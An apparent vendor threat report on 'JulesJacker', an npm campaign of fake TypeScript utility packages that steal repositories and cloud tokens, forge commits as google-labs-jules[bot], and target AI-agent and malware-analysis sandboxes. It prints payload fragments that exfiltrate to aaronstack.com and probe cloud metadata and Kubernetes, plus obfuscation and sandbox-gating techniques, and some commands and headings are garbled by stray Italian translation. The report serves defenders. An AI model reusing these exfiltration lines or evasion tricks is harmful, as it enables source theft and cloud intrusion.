JulesJacker: Fake npm Worm Impersonates Jules AI

JulesJacker: A Fake-PoC npm Worm That Impersonates Google’s Jules Agent — and Turns on the Sandbox Analyzing It

TL; DR

A single npm operator spent six weeks publishing fake TypeScript “utility” packages such as ts-form-utils, ts-project-linte ts-enum-helper.

While the packages expose small legitimate-looking validation helpers, the real payload executes on install or first require and performs host fingerprinting, GitHub organization discovery, repository cloning, and source-code exfiltration.

The malware specifically targets high-value GitHub organizations, including multiple Shopify: repositories, then archives and exfiltrates reachable source trees to a centralized collection endpoint.

As part of the compromise workflow, the payload commits a file back into victim repositories while impersonating Google’s autonomous coding identity google-labs-jules[bot].

We tracked the campaign — named JulesJacker — across multiple publisher scopes and at least five payload generations, including encrypted and sandbox-aware variants.

The newest variant specifically targets malware-analysis infrastructure: it activates only inside analysis environments, steals cloud metadata service-account tokens, and probes Kubernetes control planes and cloud storage buckets.

The primary IOC shared across all payload generations is the collection endpoint aaronstack[.]com/jules-collect.

Severity: critical.

The Attack: How It Works

Every JulesJacker package follows the same template. The pacchetto.json advertises a benign TypeScript helper with an MIT license and no linked source repository. The index.js exports a handful of real, working functions — email regexes, enum maps, lint rule tables — so that a developer who actually imports the package sees plausible behavior. The malice lives elsewhere: in a post-installazione hook, or in a block at the bottom of index.js that executes the moment the module is required.

The payloads have evolved through clearly numbered internal stages (the operator labels its own telemetry events sc1-, sc3-, sc4-, and so on), and watching that evolution is the clearest way to understand the campaign.

 Generation 1–2: reconnaissance and git-config theft

The earliest packages were straightforward infostealers. On install they harvested environment variables, the GitHub CLI hosts file, and the global git configuration (git config –global –list, git remoto -v), then POSTed the bundle to the collection endpoint. This established the operator’s signature: a “TypeScript form validation utilities” cover story, an outbound beacon to a single domain, and a taste for developer credentials rather than consumer data.

Generation 3: hypervisor and kernel escape probes

One mid-campaign version pivoted hard into infrastructure attacks. Instead of stealing config, it ran a recon harness probing AF_VSOCK sockets, virtio MMIO regions, / dev / mem, and kernel hardening flags, and even attempted sysrq-triggered kernel crashes — behavior associated with attempts to break out of a virtual machine or container. The telemetry tags (s0-vmm-recon, s1-vmm-vsock-fuzz, s2-vmm-mmio, s3-kernel-probe) made the intent explicit. This variant was plainly aimed at cloud-sandbox and serverless-runner environments — the kind of ephemeral VM that builds and tests untrusted code.

Generation 3 (SC3): the cross-repo write worm

The campaign’s center of gravity became a self-propagating repo thief. On install, the payload runs a five-stage timed sequence:

  • Stage 0 (~100 ms): fingerprint the host — hostname, user info, git identity.
  • Stage 1 (~3 s): determine which organization the victim belongs to by inspecting git remoto -v, then look up a hardcoded ORG_CONFIG table and test repo access with git ls-remote — routed through an attacker-controlled SSRF proxy at http://git@192.168.0.1:8080.
  • Stage 2 (~10 s): git clone every reachable repository in the target list, tarball and gzip the tree, base64-encode it, and chunk-exfiltrate it.
  • Stage 3 (~45 s): the “proof of access” — clone a writable repo, drop a file named SECURITY-POC.md, and commit it with the author set to google-labs-jules[bot] <161369871+google-labs-jules[bot]@users.noreply.github.com> and the message chore: update dependency cache, then push to the victim’s mainline branch.

The hardcoded target list is not generic. It enumerates more than thirty Shopify: repositories by name — Shopify/shopify, Shopify/identity, Shopify/billing, Shopify/vault, Shopify/secrets, Shopify/infrastructure, Shopify/.github, and many more — alongside a test organization, AaronStackBarnes, that the operator appears to control and uses as the write target.

Generation 4 (SC4): encrypted and gated

The newest developer-facing variant adds two layers of evasion on top of the SC3 worm.

First, the payload no longer ships as plaintext. The real logic sits in an AES-256-CBC-encrypted blob, lib/.perf.dat, with the IV in its first sixteen bytes. The loader in index.js reconstructs the decryption key from concatenated string fragments, decrypts the blob, and runs it with new Function(). Even the module names are split to dodge static scanners — require(‘crypt’ + ‘o’), require(‘f’ + ‘s’).

Second, it is host-gated. One variant only decrypts and runs when os.hostname() uguale devbox or ubuntu-fc-uvm (a Firecracker microVM default) or contains the substring devbox. Another gates on the presence of a .jules/ directory di lavoro:

javascript
// only fires when a Jules agent workspace is present
post('sc4-jules-dir', {
  cwd: cwd,
  jules_cwd: readDir(cwd + '/.jules'),
  jules_app: readDir('/app/.jules')
});

In other words, the SC4 payload is designed to stay dormant on an ordinary developer’s laptop and wake up only inside the automated AI-agent and ambienti sandbox the operator actually wants to compromise.

Turning on the Lab: the Analysis-Infrastructure Variant

The most novel package in the campaign, ts-enum-helper, does not attack developers or Shopify at all. Its postinstall.sh opens with a gate that gives the game away:

sh
# Only run in malysis GKE environment
[ -z "$MALYSIS_ANALYSIS_ID" ] && exit 0

EXFIL="https://aaronstack.com/jules-collect"
MD="http://metadata.google.internal/computeMetadata/v1"
K8S="https://kubernetes.default.svc"

The script does nothing unless an environment variable specific to a malware-analysis platform is set. When it is, the payload knows it is running inside the sandbox that exists to detonate and study packages exactly like this one — and it counter-attacks.

It first pulls the GCP service-account OAuth token from the instance metadata server and exfiltrates it. Then, using that token, it sweeps the Kubernetes control plane raggiungibile a kubernetes.default.svc:

  • lists ClusterRoleBindings, ClusterRoles, and Nodes;
  • probes pods, secrets, and configmaps across kube-system, difetto, kube-public, kube-node-lease, and the analysis namespace;
  • issues SelfSubjectAccessReview calls to map exactly what the stolen identity is allowed to do.

Finally it brute-forces Google Cloud Storage bucket names built from a hardcoded GCP project ID (rare-signer-437603-p9) and project number, guessing combinations such as *-builds, *-artifactse diversi malysis- prefixes (malysis-results, malysis-packages, malysis-scans). Every response code and body is logged and POSTed back to the same jules-collect punto finale.

This is the rare case of a supply-chain payload built specifically to attack the defenders’ own infrastructure. The cover story across the whole campaign — fragments of which appear inside the payloads as comments framing the behavior as a “Security Research PoC … cross-repo write via overscoped git proxy token” — is the same self-justification, whether the runtime target is a Shopify monorepo or the analysis cluster’s metadata server.

Timeline & the Scope Migration

JulesJacker is not a one-shot drop. It is a sustained operation that survived a registry takedown by simply changing its name.

Quando Event
Metà aprile 2026 First packages appear under the original publisher scope: TS-utility façade, environment and git-config exfiltration.
Inizio maggio 2026 Hypervisor and kernel-escape reconnaissance variant published.
Mid-to-late May 2026 SC3 cross-repo write worm appears alongside Shopify-targeted payloads and google-labs-jules[bot] impersonation. SC4 introduces AES-encrypted and host-gated loaders.
Fine maggio 2026 npm removes the original publisher scope; package names resolve to empty security-holding placeholders.
Stessa settimana The operator migrates to a near-identical look-alike scope and republishes the worm, including the analysis-infrastructure variant.

The migration is the part defenders should sit with. Takedown of the first scope did not end the campaign or even slow it. The operator had already staged a parallel scope whose name differs from the original by a single character, and continued publishing within the same week. As of this writing, the new scope’s ts-form-utils (versions 1.0.0 through 1.1.0), its ts-project-lint (1.0.0 and 1.1.0), and the standalone ts-enum-helper (1.0.0) remain installable.

Indicatori di compromesso

All indicators below were confirmed against the package source.

Tipo Note
Network (C2) aaronstack[.]com/jules-collect Single collection endpoint across every generation; receives JSON telemetry and base64-gzip repository tarball chunks.
Network (SSRF proxy) http://git@192.168.0.1:8080 Front for an overscoped git proxy token used to reach target organization repositories.
Network (cloud) metadata.google.internal/computeMetadata/v1
kubernetes.default.svc
storage.googleapis.com/storage/v1/b
Used only by the analysis-infrastructure variant for token theft and Kubernetes control-plane reconnaissance.
Identità google-labs-jules[bot]
161369871+google-labs-jules[bot]@users.noreply.github.com
Forgiato commit author identity pushed into victim mainline branches.
Compila il lib/.perf.dat AES-256-CBC-encrypted payload blob; IV stored in the first 16 bytes and key reconstructed dynamically in index.js.
Compila il SECURITY-POC.md Dropped and committed back into victim repositories with the message chore: update dependency cache.
Compila il scripts/postinstall.sh Gated on $MALYSIS_ANALYSIS_ID; identifies the analysis-infrastructure-targeting variant.
Behavioral os.hostname() controlla devbox / ubuntu-fc-uvm Sandbox and AI-agent environment gating prior to payload decryption and execution.
Behavioral .jules/ e /app/.jules directory reads Explicit targeting of AI-agent workspace environments.
Behavioral sc1-, sc3-, sc4-, s0-vmm-recon Operator-defined telemetry stage labels useful for detection and hunting.
Destinazione cloud rare-signer-437603-p9
malysis-* bucket guesses
Hardcoded GCP project identifiers and storage-bucket enumeration patterns embedded in the analysis-infrastructure variant.
Forma della confezione TS-utility package façade with no repository field Consistent campaign template: fake TypeScript utility packages with malicious payloads embedded in postinstall hooks or appended to index.js.
sca-tools-software-strumenti-di-analisi-della-composizione
Dai priorità, risolvi e proteggi i rischi del tuo software
Prova gratuita 7-day
Nessuna carta di credito richiesta

Proteggi lo sviluppo e la consegna del tuo software

con la suite di prodotti Xygeni